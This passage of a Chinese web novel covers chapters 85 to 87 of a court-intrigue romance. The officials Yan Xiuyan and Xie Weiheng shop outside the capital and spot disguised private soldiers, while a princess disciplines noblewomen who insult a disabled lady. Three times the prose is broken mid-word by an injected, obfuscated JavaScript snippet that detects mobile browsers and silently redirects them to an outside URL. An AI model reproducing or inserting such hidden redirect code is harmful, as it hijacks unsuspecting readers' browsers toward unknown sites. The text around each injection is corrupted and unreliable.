京郊虽多是路边小摊,看着简陋,味道却往往比城里大馆子更地道鲜活。 谢伟恒最是清楚燕修延的胃口,闻言低笑一声:“放心,等到了京郊,燕大人的肚子自然能腾出空来。看上什么尽管买,能带回去的,咱们便多装些。” 燕修延斜睨他一眼,语气带着几分戏谑:“你这话听着怎么像是在暗讽我能吃?” 谢伟恒伸手替他添满茶水,目光温温柔柔落在他脸上:“能吃是福。你吃得香,我看着便比自己吃了还开心。” 燕修延感觉自己对谢伟恒这些话已经习以为常了。 他端起茶杯又喝了两口,故作无奈地摇了摇头:“谢大人这张嘴,真是惯会说些讨人欢喜的话。” “不只是会说。” 谢伟恒忽然伸手,轻轻覆在燕修延搁在桌面上的手背上。 指腹带着微凉的温度,慢悠悠地蹭了蹭燕修延的指节,声音压得低哑,带着几分撩拨:“我这张嘴,还会些别的讨好法子,燕大人可想试试?” 燕修延指尖猛地一缩,飞快抽回手,耳尖不受控制地发烫。 他暗暗暗骂自己没出息,明明早已听惯谢伟恒这类话,偏偏每一次都还是会乱了心神。 燕修延刚要开口反驳,恰好门外传来小二轻叩门板的声音:“二位大人,菜来了。” 尴尬的氛围被恰到好处地打断。 燕修延松了口气,立刻埋头吃饭,谢伟恒夹什么他便吃什么。 死活不让嘴巴闲下来,只盼着耳尖那点烫意赶紧散去。 一顿饭吃得安安静静,两人没说几句话。 燕修延心满意足地打了个饱嗝,揉了揉肚子,再喝下半盏热茶,耳尖的热度才算彻底退下去。 他抬眼催谢伟恒:“赶紧付账,咱们好走。” 话说完,他才注意到谢伟恒望着他的眼神,带着几分说不清道不明的幽怨,活像被冷落了似的。 燕修延一愣:“你这什么眼神?我又没怎么着你。” 吃个饭怎么还幽怨上了? 又演上了是吧? 谢伟恒幽幽叹了口气,起身道:“我这就去付账。” “不是,我刚哪儿得罪你了?” 燕修延连忙追在他身后,一路追问,“好端端的又闹什么脾气?” “唉,燕大人……” 礼部尚书准备上前同燕修延打招呼,谁知对方压根没看见他,只听见燕修延无奈地追问:“我说谢大人,你又使哪门子性子?” 礼部尚书脚步一顿,险些以为自己听错了,连忙拉过身旁的吏部尚书,压低声音难以置信地问:“漠大人,他刚刚……是在说谁使小性子?” 吏部尚书也是一脸茫然,迟疑着点头:“好像……是谢大人?” 两人对视一眼,皆从对方眼中看到了震惊。 谢伟恒?使小性子? 那可是素来沉稳内敛、端方有度的谢伟恒,怎么看都跟“使小性子”这五个字沾不上边。 不可能,绝对不可能。 谢伟恒付完账,顺路在茶苑外的小摊上称了一包刚出炉的桃片糕,递到燕修延手里。 燕修延拿着桃片糕爬上马车,依旧没放过他,追问道:“你到底怎么了?方才好好的,怎么就不高兴了?” 谢伟恒看着他,欲言又止,眼底那点落寞看得人心里发软。 燕修延干脆伸手抓住他的肩膀轻轻晃了晃:“有话直说,别吞吞吐吐的。” 谢伟恒轻轻叹了口气,声音低沉,带着几分自嘲:“是我的问题。不知怎的,忽然生出一种……燕大人对我总是用完就丢的念头,心里有些失落。” 他垂眸轻笑一声,语气愈发温和:“是我奢求太多了,燕大人放心,我很快便能调整好。” 燕修延闻言一怔,迟疑地在心里琢磨:自己有用完就丢吗? 没有……吧? 他素来与监察司的人都是这般相处模式,干脆利落,从不爱拖泥带水。 何况他对谢伟恒,早已是格外宽容。 换作旁人,敢对他做谢伟恒这些逾矩的举动,早就上了他的明杀名单。 这么一想,明明是他对谢伟恒一退再退、没了底线才对,怎么反倒成了他用完就丢? 燕修延心里门儿清。 谢伟恒铁定又在演,故意装可怜,想让他心软。 两人之间,该做的都做了,睡过、亲过、连“兵戎相见”都有过,还想怎样? 燕修延捏了捏眉心,懒得跟他绕弯子,干脆拿起一片桃片糕,递到谢伟恒嘴边,面无表情道:“吃不吃?” 谢伟恒微微低头,就着他的手轻轻咬下一口,目光一瞬不瞬望着他,眼底明晃晃写着“期待”二字。 燕修延面不改色地将剩下半片塞进自己嘴里,嚼了两口,抬下巴示意他:“给爷笑一个。” 谢伟恒眼底瞬间漾开真切的笑意,温柔得几乎要溢出来。 恰在此时,马车忽然轻轻颠簸了一下,他顺势伸手,稳稳将燕修延搂进怀里。 “让我抱一下,就一下。” 燕修延动了动脖子,找了个舒服的姿势靠在他肩头,不情不愿地哼了一声:“抱就抱,规矩点,不许动手动脚——” 话音未落,他忽然短促地轻呼一声:“啊!” 坐在车辕上赶车的谢小厮被这突如其来的一声惊得手一抖,鞭子下意识抽在马屁股上。 马匹吃痛,扬蹄长嘶一声,猛地向前冲去。 燕修延又气又窘,瞪着谢伟恒:“不让你动手动脚,你就动口咬我是吧?” 谢伟恒低笑出声,语气带着几分餍足:“没吃饱。” 燕修延脸颊一热:“……你最好不是一语双关。” 谢伟恒但笑不语,那眼神已经说明了一切。 燕修延没好气地扭过头,掀开车帘一角看窗外风景,耳根却悄悄又红了。 马车一路驶至京郊,刚一停稳,燕修延便率先跳下车,眼底闪过一丝小小的报复欲—— 他要把谢伟恒兜里的钱,全部花光! 燕修延从见到的第一个摊子开始,见什么买什么,糖葫芦、糖画、蜜饯、酥饼、卤味……一路走一路扫货。 谢伟恒默默跟在他身后,他买什么,谢伟恒便付什么钱,付完再将东西亲自送回马车上。 谢小厮站在车辕旁,看着车厢里堆得越来越满,忍不住暗暗咋舌——再这么买下去,待会儿怕是只能挤在货物中间赶路了。 燕修延一边买买买,目光却不动声色地扫过往来行人。 不少年轻壮汉三三两两闲逛,听口音像是京城本地人,可仔细辨听,又带着几分刻意模仿的生硬。 看似分散而行、互不相识,可偶尔眼神交汇间那一点默契,分明是早就认识。 这群人,不对劲。 ”不好意思啊。” 燕修延眼底冷光一闪,故意脚下一个踉跄,装作不小心撞到身旁一个满脸络腮胡的壮汉身上。 那壮汉立刻横眉怒目,凶相毕露,抬手便要推搡:“没长眼睛啊你!” 燕修延抬眼,指着自己的眼睛,语气诚恳,却字字带刺:“长了,倒是你,像是没长。” 壮汉身旁几个同伴立刻撸起袖子围了上来,气势汹汹。 “燕大人。” 谢伟恒恰好提着刚付过钱的蜜饯走过来,仿佛没看见眼前剑拔弩张的架势,语气平淡提醒:“明日还要上朝,若是同人动武伤了脸,怕是不好。” 燕修延斜他一眼,故作嗔怪:“谢大人这话说的,好像我多喜欢找人打架似的。” 与此同时,长公主府门前。 孙嬷嬷早已命人将轮椅稳稳放在马车旁,李羽飞小心翼翼背着王璟妍下车,扶着她坐稳在轮椅上。 周围围观的夫人小姐们见状,立刻窃窃私语,目光里带着毫不掩饰的打量与轻慢。 “这是谁啊?” “看着像是……当年王家的那位小姐。” “哦——就是那个双腿残疾的?这般模样,怎么还有脸面抛头露面?若是我,早就羞得闭门不出了。” 李羽飞脸色一沉,当即就要上前理论,却被王璟妍轻轻拉住手。 王璟妍轻轻摇头,声音平静:“羽飞,莫要冲动,别失了公主殿下的体面,我们先进去。” 虞湘晔早已事先吩咐下人,在府门门槛处铺了平缓的斜坡,李羽飞推着轮椅,一路顺畅无阻地进了公主府大厅。 两人刚落座,尤夫人便带着下人将一套茶道器具送了上来,语气看似温和,实则字字带着刁难。 “当年李夫人待字闺中时,可是京中风头无两的大家闺秀,琴棋书画样样精通,尤其烹得一手好茶。 不知这么多年过去,夫人茶技可生疏了?今日正好,便给咱们露一手,也好叫大伙儿见识见识当年贵女的风采。” 王璟妍神色淡淡,不卑不亢开口:“古人茶道,讲究六境三点七忌。 六境之首,便是择茶——茶贵新,首选三前摘翠的嫩尖。” 她接过孙嬷嬷递来的茶叶,放在鼻尖轻轻一嗅,眉头微蹙:“这是雨后老叶,茶质已老,不堪入茶。” 尤夫人脸上笑容一僵。 王璟妍继续道:“二为择水——山水上,河水中,井水下。” 她又浅尝了一口孙嬷嬷递来的水,语气平静:“此乃井水,用以沏茶,实在暴殄天物。” 尤夫人脸色顿时难看起来,勉强撑着笑道:“是我调教下人不力,让李夫人见笑了。 不如请您身边这位嬷嬷,随我的侍女下去重新择茶取水,也好指点一二?” 孙嬷嬷连忙躬身:“老奴粗鄙,不懂什么高深茶道,万万不敢当夫人一句指点。” 尤夫人身旁的谭夫人立刻沉下脸,厉声斥责:“你这老奴好不懂事!能得军器库使夫人亲自吩咐,那是给你脸面!莫非你是觉得,这满府的下人,都伺候不好你家主母?” 王璟妍轻轻抬手,按住孙嬷嬷的手,示意她不必多言,抬眼看向谭夫人,语气淡漠:“嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646243|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷不懂规矩,倒是我教得不好。既然夫人盛情难却,那便去吧,好好教教她们。” 孙嬷嬷会意,躬身退下。 孙嬷嬷一走,在场的夫人们便轮番上前向王璟妍敬茶,一杯接着一杯。 王璟妍渐渐觉得身体不适,偏偏就在此时,谭夫人又端着茶杯凑了上来,笑容虚伪:“我在此以茶代酒,敬李夫人守得云开见月明,重归京城宴席。” 王璟妍脸色微白,勉强撑着:“夫人心意我领了,茶便不饮了。” “那怎么使得?” 谭夫人立刻拉长了脸,语气带着逼迫,“李夫人喝了旁人这么多盏,偏偏不喝我这一盏,岂不是叫人以为,你我之间有什么嫌隙?” 王璟妍深吸一口气:“夫人盛情难却,容我先更衣,回来再陪夫人饮茶。” 尤夫人却忽然上前,伸手按住轮椅扶手,笑容刻薄:“有道是人走茶凉。公主既邀了大伙儿相聚,你若是中途离席,这局面岂不冷了?还是留下来吧。” 周围夫人们纷纷附和,七嘴八舌地劝着,摆明了要逼她喝下这杯茶。 王璟妍无路可退,只得端起茶杯,仰头一饮而尽。 “母亲!”李羽飞看得心焦。 王璟妍轻轻摇头,声音微哑:“无妨,带我去更衣。” 李羽飞抬眼冷冷扫过在场一众假惺惺的夫人,咬牙应了一声“好”,推着轮椅便要转身。 尤夫人却在身后不阴不阳地开口:“真是好没规矩!见了长辈也不问安行礼,李家的女儿,好生嚣张。” 李羽飞脚步一顿,猛地回头,眼神冷厉如刀,那股子伶牙俐齿、得理不饶人的劲头,竟与燕修延如出一辙:“难道我还要向你赔罪不成?” 尤夫人:”你这丫头,怎么敢如此与长辈说话!” 李羽飞回击:”你若敬我母亲,我便尊你一声长辈;你若不敬,我又何必敬你这般笑里藏刀、阴险毒辣的东西!” 尤夫人被她怼得脸色涨红,气得手指发颤:“你、你、你放肆!” 谭夫人连忙帮腔,尖声道:“真是百闻不如一见!听说这位大小姐是在杭州乡下长大,行事野蛮出格!今年京里都在传,她舅舅的耳朵,就是被她一口咬下来的!” 李羽飞冷笑一声,上前一步,眼神凶狠:“我自是乡下长大的女蛮子,茹毛饮血也不奇怪。你若再敢多嘴说风凉话,小心我也把你的耳朵咬下来,当下酒菜!” 谭夫人吓得脸色发白,连连后退。 尤夫人见状,更是肆无忌惮地嘲讽:“你们瞧瞧!这般粗野无状,就是个没人要的孤鬼,日后还有哪家敢上门求娶!” “求娶轮不到你们尤家操心,跪着也轮不到你们来置喙。” 一道清冷威严的声音自门口传来,虞湘晔一身华服,带着一众下人缓步走入大厅。 孙嬷嬷紧跟在她身后,一进门看见自家主母脸色苍白,当场便炸了,一把推开上前阻拦的侍女,怒骂道:“小贱蹄子滚开!我家主母涵养过人,我家大小姐明辨是非,我这个老婆子可没那么多规矩!你们既不做体面人,我也不必给你们留脸面!” “就你们这帮贱贼妇,二十年前比不上王家小姐,二十年后也配不上跟李家夫人相提并论!这辈子作恶多端,下辈子投胎做猪做狗,也只配当咱们的下酒菜!” 虞湘晔走到主位上缓缓落座,淡淡开口:“说得好,重赏。” 尤夫人又气又怕,连忙上前跪地行礼,哭丧着脸道:“公主殿下!您不能纵容李夫人的奴仆如此辱骂主子啊!” 王璟妍抬眼看向虞湘晔,接收到她眼底肯定的示意,一直强压的火气终于爆发,声音冷厉:“骂的就是你!” “尤大人若是知道,他娶了你这般尖酸刻薄、搬弄是非的夫人,怕是连夜便要写下休书,将你赶回娘家!” 尤夫人猛地回头,不敢置信地瞪着她,口不择言:“无法无天了!公主殿下还未开口,你一个瘸子,有什么资格管教我?” “瘸子”二字彻底戳中逆鳞。 王璟妍眼神一厉,指着她,一字一句:“今日,我便教训你了,你奈我何?” 尤夫人气得发疯,猛地站起来,指着她嘶吼:“你有本事便站起来啊!你站起来打我啊!站起来骂我啊!你倒是站起来啊!” 李羽飞当即抬脚便要踹上去,早已接到虞湘晔眼色的嬷嬷却先一步动手,一脚狠狠踹在尤夫人腿窝,将人踹跪在地。 王璟妍瞬间领会,抬手便是一记清脆响亮的耳光,狠狠扇在尤夫人脸上。 “你——你真敢打我!” 尤夫人捂着脸,又惊又怒,“你这贱人,还生了个没人要的孤鬼!我跟你们拼了!” 她疯了一般要扑上去,虞湘晔冷喝一声:“放肆!” 左右下人立刻上前,将尤夫人死死按住。 虞湘晔神色冷冽:“尤夫人行为乖张,当众辱人,意图行凶,给我拖回尤家,杖责十棍!告诉尤钰珣,若是连自家夫人都管教不好,下次本宫,便不会这么轻饶了!” “是!” 下人应声,将撒泼打滚的尤夫人硬生生拖了出去。 公主府大厅内,瞬间一片死寂。 虞湘晔目光缓缓扫过在场众人,语气威严,一字一句,替李羽飞和王璟妍彻底立威: “李羽飞是本宫挚友,李夫人更是本宫长辈。今日起,谁若再敢欺辱她们,先想想自家有没有那些见不得光的秘密!” 她心里暗暗盘算——今日这番敲打,一来是为李羽飞撑腰,二来也是应修延哥所托,震慑一番这些背地里搬弄是非的人家。 应该……符合修延哥的要求了吧。 ————————————————— 马:你们清高,打的是我的屁股! 86. 你读书读傻了吧! 那几名壮汉听得燕修延与谢伟恒互称“大人”,又口口声声提明日上朝,立刻便明白了两人的身份——这是正经在朝为官的人,不是他们能随意招惹的。 几人飞快交换了一个眼色,为首那络腮胡壮汉沉声道:“我们走。” 一群人来得凶,去得快,转眼便消失在街巷拐角。 燕修延慢悠悠掸了掸衣袖上并不存在的灰尘,嘴角勾起一抹意味不明的笑意。 这群人果然有问题,听见“大人”“上朝”就立刻退走,分明是心中有鬼。 他又随手在旁边摊子上挑了两样零嘴,拍了拍手:“差不多了,回去吧。” 再买下去,谢伟恒身上银子怕是真要被他掏空了。 燕修延先一步掀开车帘,往里一瞧,整个人都愣了一下:“……我买了这么多东西?” 车厢里被蜜饯、糕点、干果、小玩意儿塞得满满当当,只剩勉强能容两个人挤坐的地方,几乎没有空隙。 谢伟恒跟在他身后,低笑一声:“不多,你尽兴就好。” 这哪里是尽兴不尽兴的问题,这是要把马车都给撑破了。 燕修延无奈地打量着这拥挤不堪的车厢,转头冲着车辕上赶车的谢小厮扬扬下巴:“你进去坐,我来驾车。” 他可不想等会儿跟谢伟恒挤得紧紧巴巴,再被这人趁机占便宜。 谢小厮却像抓着救命稻草一般,死死攥住马鞭,脑袋摇得跟拨浪鼓一样:“不,我驾车!” 他可是记得清清楚楚,燕修延之前说过,他家少爷好色得很。 若是让这两人挤在车厢里,指不定要多亲近,少爷肯定求之不得。 “我跟你换。” 燕修延凑近车边,压低声音威胁,“你要是不换,我就跟你家少爷说,你之前背地里说——如果他对我有意,你就倒爬谢府。” 谢小厮小脸一绷,非但不怕,反而用力摇头,斩钉截铁地大声道:“倒爬就倒爬!我回去就倒爬谢府一圈给你看!” 为了少爷的幸福,他拼了! 燕修延:“……” 这小孩,怎么这么轴,油盐不进。 谢伟恒将手里最后几包东西放进车厢,温声道:“先上车吧,停在这里挡着路,惹人注意。” 燕修延没法子,只能弯腰先上了马车。 谢伟恒紧跟着抬步上来。 车厢本就狭小,两人一坐定,胳膊挨着胳膊,腿贴着腿,几乎是紧紧贴在一起。 车外立刻传来路人窃窃私语的议论声: “哎,你们刚才听见没?那位公子好像要他家小厮倒着爬?” “看着人模人样的,对下人这么苛刻。” “我好像听见小厮说什么谢府……该不会是……” 谢小厮听得急了,攥着马鞭就要勒马停下,想跳下去解释:“不是这样的!你们误会了!” 马车里立刻传来燕修延懒洋洋却带着几分威严的声音,不高不低,刚好能让外面的人听见:“他们只愿意听自己想信的,解释无用,赶紧赶车回府。” 实在太挤,燕修延缩了缩腿,心里暗自后悔——早知道就不赌气乱买了,买东西果然不能太盲目。 谢伟恒像是察觉到他的局促,轻声道:“好像是有些挤。” 燕修延正琢磨着,要不干脆拆开两包吃的,吃掉一点能腾出些空间,下一秒,腰上忽然一紧。 他整个人被人带着换了个位置——直接坐到了谢伟恒的腿上。 谢伟恒稳稳将人圈在怀里,低低笑道:“这样,就不挤了。” 燕修延:“……” 他抬头往上一看,脑袋离车顶也就剩下两拳的距离,动都不敢大幅度动。 “谢伟恒,我发现你这个人啊……” 谢伟恒抱着他,微微收紧手臂,语气里满是得逞的笑意:“嗯,我这个人怎么了?” 燕修延咬牙:“你这个人属蛇的吧,打蛇随棍上,说的就是你。” “蛇?” 谢伟恒低低笑了起来,笑声震得燕修延耳尖发麻。 “你笑什么?”燕修延莫名有点心慌。 谢伟恒低下头,温热的气息拂过他的耳廓,声音轻得几乎要融进空气里:“燕大人知不知道,蛇……” 后面几个字微不可闻。 可燕修延耳力极好,一字不落地全听进了心里。 但燕修延宁愿没听见过。 他的耳朵脏了! “谢伟恒!” 燕修延的话几乎是从牙齿缝里挤出来,耳根红得要滴血,“你以后少看那些奇奇怪怪的书——不,不许再看!” 谢伟恒从善如流,温顺得不像话:“好,都听你的。以后我看什么书,先拿来给你过目。” 燕修延一想起谢伟恒书架上那些带画的志怪小说、精怪集,嘴角就忍不住狠狠一抽:“我才不看。” 马车一路颠簸回府。 一进府门,燕修延立刻扒拉了两包刚买的吃食,拉着谢伟恒直奔书房。 门关好,他才收敛了玩笑神色,将白天铎与柳岚打探回来的消息,一五一十说给谢伟恒听。 再结合方才在京郊遇到的那群形迹可疑的壮汉,基本可以确定——晋王暗中培养的一部分私兵,已经悄悄在京郊落脚,藏在了暗处。 燕修延拿起一块桂花糕,咬了一小口,眼底闪过一丝狡黠的笑意:“其实我刚才是故意撞那个人的。” 谢伟恒挑眉:“哦?” “我在他身上留了百濯香。” 燕修延笑得像只偷腥成功的猫,“到时候放出觅踪蝶,顺着香气,就能把他们的老巢给摸得一清二楚。” “燕大人当真是机智聪慧。” 谢伟恒低头,在燕修延拿着糕点的手上轻轻咬了一口,又顺势咬走半块糕点,慢条斯理地问,“那大人接下来,准备怎么做?” 燕修延看着手上被他咬剩的半块糕点,没好气地瞪他一眼:“打你狗头。” “叩叩叩——” 门外忽然传来谢小厮急促的声音,语气还带着一股视死如归的决绝:“燕、燕大人,你出来一下!” 燕修延稀奇地看向门口:“这小子,怎么一副来势汹汹的样子?” 谢伟恒走过去打开门,看清门口的人时,一贯从容的脸上,也难得掠过一丝错愕。 燕修延好奇地探头一看,手里的糕点“啪嗒”一声掉在地上。 谢伟恒看了眼地上的糕点,眼中划过一丝遗憾。 “我是跟谢伯说过,如果少爷对你有意,我就倒爬谢府。” 谢小厮赤着上半身,背上结结实实捆着一捆荆条,小脸绷得紧紧的,眼神坚定得像是要上战场:“我意已决,今日便从书房为起点,再爬回这里,绝不食言!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646244|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 燕修延张了张嘴。 谢小厮打断他:“你不必劝我!” “谁要劝你。” 燕修延好整以暇地抱臂,指了指他身后拖到地上的荆条,“我就是好奇,你背这玩意儿干嘛?” 谢小厮一脸“你连这都不懂”的表情,一本正经解释:“这叫负荆请罪,就是……” “我知道。” 燕修延打断他,语气诚恳,“我是说,你背着这么长的荆条倒爬,等会儿会扎屁股吧?” 谢小厮一愣,猛地扭头看向一旁憋笑的谢伯:“他……他是在说我矮吗?” 谢伯笑呵呵地:“夫人这是关心你呢。” 燕修延搭着谢伟恒的肩膀,在心里默默摇头——傻子才会信这话。 结果谢小厮还真信了。 他试着往后倒爬了两下,荆条果然硌得后背、屁股都不舒服,干脆一把将背上的荆条解下来扔在一边。 “既然谢夫人关心,那我便轻装上阵!” 燕修延胳膊一滑,差点当场笑跌出去。 谢伟恒眼疾手快,伸手稳稳托住他的腰:“小心。” 燕修延看着已经专心致志往后倒爬的谢小厮,嘴角抽搐:“真……真让他爬完啊?” 谢伟恒淡淡“嗯”了一声:“既是他亲口说下的赌约,自当做到。” 谢伯也在一旁点头:“正好,也让这小子长长教训,别总管不住那张嘴,人云亦云。” 谢伟恒走到桌前,取了纸笔,提笔写了一张小纸条。 燕修延凑过去一看,看完嘴角抽得更凶:“谢伟恒,我看你才是最适合做传讹官的人,不去编谣言真是屈才了。” 谢伟恒将纸条折好,递给谢伯:“谢伯,让人看着点小厮,别让他摔着。另外,把这个送去云起时。” 谢伯接过纸条,躬身退下:“是,少爷。” 纸条上写的内容简单直白,传出去足以让整个京城炸锅—— 燕修延嫁入谢府之后,与谢伟恒贴身小厮打赌: 赌男子是否能够有孕。 燕修延赌能,小厮赌不能。 输者,倒爬谢府一圈。 等今日京郊私兵的消息传进城时,这则桃色八卦,也会跟着一起传遍京城大街小巷。 燕修延后知后觉反应过来,虎视眈眈地盯着谢伟恒:“不对,谢小厮爬是什么意思,谁怀了?” 谢伟恒笑:“谁也没有,由着他们猜去。” “哦~” 燕修延伸手指着他,恍然大悟,“谢大人,可真有你的啊~不对,好端端传这个干什么,我又不在乎旁人的口舌。” 谢伟恒低笑一声,目光却不怀好意地,慢悠悠往下飘,落在燕修延的小腹上,语气轻佻:“万一……” “不可能!” 燕修延直接原地炸毛,跳出去老远,“谢伟恒,你读书读傻了吧!男人怎么可能怀孕!而且就那一晚,怎么可能!” 谢伟恒上前一步,步步紧逼,微微歪着头,眼底笑意浓得化不开:“哦?那就……多几次。” “说不定,就可能了。” 燕修延跟条泥鳅似的,嗖一下窜到院子里,指着谢伟恒龇牙咧嘴:“大白天的,你还没睡醒吧——哎呦我去!” ———————————————— 谢小厮:燕大人怎么还抢我饭碗呢! 87. 你亲我一下,就告诉你 牙龇到一半,燕修延又猛地后退好几步——谢伟恒身形快得几乎带出残影,他只觉腰间一紧,整个人竟被凌空打横抱了起来。 “谢伟恒你干嘛!快放我下来!” 谢伟恒手臂稳得纹丝不动,掌心顺势在他臀瓣轻轻拍了一下,声音又低又懒,带着几分刚醒似的黏糊:“燕大人说得对,我的确没睡醒。哥哥陪我睡一会儿吧” “你——” 燕修延整个人都僵住,眼睛瞪得滚圆,红晕像烧起来一般,从脖颈一路爬上脸颊,连耳尖都烫得厉害。 他憋了半天,才憋出一句又气又乱的话:“……干娘都没这么打过我!” 谢伟恒低低笑出声,语气轻快得不像话:“皇后娘娘可曾这样打过陛下吗?” 燕修延下意识回想:“小的时候好像……好像用扫帚追着抽到过,你问这个干什么?” “那我身为你的妻子,”谢伟恒垂首,鼻尖蹭了蹭他发烫的额角,语气理直气壮,“为何不能这样打你?” 燕修延:“……” 他一时竟无言以对。 不是,谢伟恒这行径,除了一张嘴自称“妻子”,哪儿半点儿有做媳妇的样子?! 谢伟恒见他炸毛炸得可爱,又故意放软了声音,尾音带上一点点浅浅的鼻音,轻轻柔柔地撒娇:“哥哥,就陪我睡一会儿,我不做别的,好不好?” 娘唉——谢伟恒居然还撒上娇了。 燕修延耳朵一痒,刚要退下去的热度“唰”地又涌了上来。 他自小是燕氏一族辈分最小的那一个,打心底里就盼着有个弟弟妹妹,能让他疼一疼。 以前跟着干娘去江南小住时,确实认识过一个小姑娘,生得粉雕玉琢,整日黏在他身后,一口一声“哥哥、哥哥”,甜得能化进心里。 算算年纪,那小姑娘和谢伟恒差不多大。 如今想来,怕是早就嫁人生子,孩子都能跑了。 燕修延一时分神,陷在旧忆里微微发怔。 谢伟恒便趁着这片刻空档,抱着他脚步轻快地转身,一路径直回了房间里。 将人轻轻放在床上,他弯腰蹲下身,伸手去替燕修延脱鞋,指尖隔着薄袜,在他脚心轻轻一挠。 燕修延最怕痒,浑身一颤,瞬间回神:“你、你脱我鞋干什么?还真睡啊?” 谢伟恒抬眸,笑得温温柔柔:“晚上还要去京郊查探,白日先歇片刻。你夜里总睡得迟,仔细身子熬不住。” 燕修延盘腿坐在床上,皱着眉嘟囔:“大白天的,我也睡不着啊。” 谢伟恒起身拿了本书,靠着床头坐下,衣袂轻垂:“那我念书给哥哥听,听着听着就困了。” 燕修延没法子,只好侧身躺下,单手撑着脸颊,一瞬不瞬地看着他。 看着看着,忽然想起什么,随口道:“刚想起来,以前我在江南认识一个小姑娘,一口一个哥哥叫我,甜得很。” 谢伟恒翻书页的动作微顿,状似不经意地淡淡一问:“听燕大人这意思,很喜欢她?可曾与人家定下婚约?” 燕修延像看个傻子一样瞥他一眼,说得理所当然:“我若是早定了婚约,这会儿还有你什么事?” 就是当初离开江南时,那小姑娘还拽着他的衣袖,哭得眼睛通红说要他嫁给她。 【哥哥,你以后嫁给我好不好?】 【好好好,以后哥哥嫁给你,不哭了好不好?】 当初也是他年纪小,不懂,回去还一本正经地跟干娘说,要去江南提亲。 现在回想起来,那哪叫“嫁”,分明是叫“入赘”。 两个小鬼头之间的戏言,家里大人不曾点头,不作数的。 再说了,人家小姑娘肯定早把他给忘了,就像他也是因为谢伟恒方才那一声“哥哥”撒娇,才偶然记起这么一段旧事。 谢伟恒闻言,意味深长地笑了笑,指尖轻轻摩挲书页:“有些事情,说不准的。” 燕修延白他一眼:“你再手眼通天也没用,我若真有婚约,如今孩子都能跑了,你还能怎么样?” 谢伟恒伸手,轻轻捏了捏他发烫的耳朵,语气一本正经:“不怎么样,只要那孩子是你生的,你嫁我的时候,带着孩子一起进门便是。” “你可拉倒吧!” 燕修延偏头,轻拍开他的手,脸颊微烫,“越说越没边,到底念不念书?不念我起来了。” “念。” 谢伟恒依言翻开书页,拿的是一本兵书。 他声音柔和,不疾不徐,一字一句清润入耳,像春日里缓缓流淌的溪水。 燕修延闭上眼睛,听着听着,心神渐渐松垮。 谢伟恒刚翻过第三页。 身侧便传来平稳轻浅的呼吸声。 燕修延睡着了。 谢伟恒停下诵读,将书轻轻放在一旁,垂眸凝视着他毫无防备的睡颜,目光温柔得近乎缱绻。 他俯身,在燕修延发顶印下一吻,声音轻得只有自己能听见:“大坏蛋,明明答应过要嫁给我,现在却说,不曾有过婚约。” 燕修延陷入浅眠,迷迷糊糊坠入梦境。 梦里,又听见有人在软软地叫他:“哥哥——” 他回头一看,正是江南遇见的那个小姑娘,穿着一身粉嫩嫩的小裙子,迈着小短腿朝他跑过来,眼眶红红地问:“哥哥,你为什么不带嫁妆,来江南嫁给我?” 燕修延无奈又心软,蹲下身哄她:“哥哥太穷了,没有嫁妆可以带。” 小姑娘低下头,肩膀微微抽动,像是在哭。 燕修延连忙歪头去看她的脸:“别哭别哭,哥哥替你寻一门天底下最好的亲事,好不好?” 下一刻。 那道软糯的女童声,忽然变得低沉悦耳。 眼前小小的身影,以一种不合常理的速度飞快拔高。 “她”一把将燕修延扑倒在地,一字一顿,清晰无比:“可对我而言,只有和哥哥成亲,才是天底下最好的亲事。” 燕修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646245|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延整个人都傻了。 眼前哪里还是什么江南小姑娘——分明是谢伟恒! 变也就变了,可……你倒是把那身粉色裙子给变掉啊! 梦里的谢伟恒穿着一身刺眼的粉裙,追在他身后不停地叫“哥哥、哥哥”,手脚还不老实,一路追得他上天无路、入地无门。 燕修延在睡梦中眉头都紧紧皱着,挣扎不安,不过半刻钟,他猛地一挣,惊醒过来。 一睁眼,映入眼帘的是谢伟恒干净的白色里衣衣襟。 不是粉色裙子。 还好,还好。 燕修延暗暗松了口气。 身旁的人也跟着睁开眼,声音带着刚睡醒的低哑,温柔问:“醒了?” 燕修延一肚子离谱火气没处发,没好气地瞪他:“我谢谢你啊,穿着一身粉色裙子,在梦里追了我八百条街。” 谢伟恒一怔,随即低笑起来,抬手轻拍他的后背安抚:“我穿着粉色衣裙?” “对啊!” 燕修延一想起那画面就头疼,“就是那个一口一个哥哥的小姑娘,忽然就变成你了,变就变吧,还变不彻底,裙子还在!” 谢伟恒笑问,眼底带着促狭:“那……我穿粉色裙子,好看吗?” 燕修延脑子还没完全清醒,认真回想了一下,老实点头:“你皮肤白,粉色确实衬你。” 谢伟恒眸色一深,语气认真:“我可以穿给你看。” 燕修延:“……” 